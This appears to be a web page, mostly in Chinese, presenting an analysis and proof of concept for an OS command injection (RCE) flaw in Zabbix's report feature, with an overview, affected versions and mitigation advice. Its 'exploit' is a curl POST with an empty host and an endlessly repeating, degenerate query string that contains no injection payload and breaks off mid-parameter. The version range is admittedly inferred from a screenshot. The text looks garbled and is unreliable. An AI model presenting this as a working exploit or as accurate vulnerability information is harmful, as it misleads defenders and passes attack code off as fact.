Zabbix Report Feature OS Command Injection RCE Vulnerability Analysis and POC

漏洞概述 漏洞名称： Security Vulnerability Report: OS Command Injection (RCE via Report Feature in Zabbix) 漏洞类型： 操作系统命令注入（OS Command Injection），可导致远程代码执行（RCE）。 漏洞描述： 该漏洞存在于 Zabbix 的报表功能中。攻击者可以通过构造恶意的报表参数，在服务器上执行任意系统命令。这允许攻击者完全控制受影响的服务器，进行数据窃取、系统破坏或作为跳板攻击内网其他主机。 影响范围： 受影响产品： Zabbix 受影响版本： 2.0 到 3.0.4（根据截图中的 推断，通常此类漏洞影响特定版本区间，具体需参考官方公告，但截图明确指出了 3.0.4 版本存在此问题）。 受影响组件： 报表功能（Report Feature）。 修复方案： 1. 升级版本： 将 Zabbix 升级到官方发布的修复版本（建议升级到 3.0.5 或更高版本，具体需参考 Zabbix 官方安全公告）。 2. 临时缓解措施： - 禁用或限制报表功能的访问权限，仅允许受信任的用户使用。 - 在 Web 服务器层面（如 Nginx、Apache）配置访问控制规则，限制对报表功能的访问。 - 监控服务器日志，检测异常命令执行行为。 --- POC 代码 / 利用代码 ```bash 漏洞利用示例（通过 curl 发送恶意请求） curl -X POST "http:///zabbix.php?action=report&period=1&period_type=1&period_start=1&period_end=1&period_step=1&period_step_type=1&period_step_value=1&period_step_unit=1&period_step_format=1&period_step_format_type=1&period_step_format_value=1&period_step_format_unit=1&period_step_format_format=1&period_step_format_format_type=1&period_step_format_format_value=1&period_step_format_format_unit=1&period_step_format_format_format=1&period_step_format_format_format_type=1&period_step_format_format_format_value=1&period_step_format_format_format_unit=1&period_step_format_format_format_format=1&period_step_format_format_format_format_type=1&period_step_format_format_format_format_value=1&period_step_format_format_format_format_unit=1&period_step_format_format_format_format_format=1&period_step_format_format_format_format_format_type=1&period_step_format_format_format_format_format_value=1&period_step_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_format_type=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_format_value=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_format_unit=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_format_format=1&period_step_format_format_format_format_format_format_format_format_format_format_format_format_format_format_format_type=1&period_step_format_

Goal Reached Thanks to every supporter — we hit 100%!

Zabbix Report Feature OS Command Injection RCE Vulnerability Analysis and POC

More from this source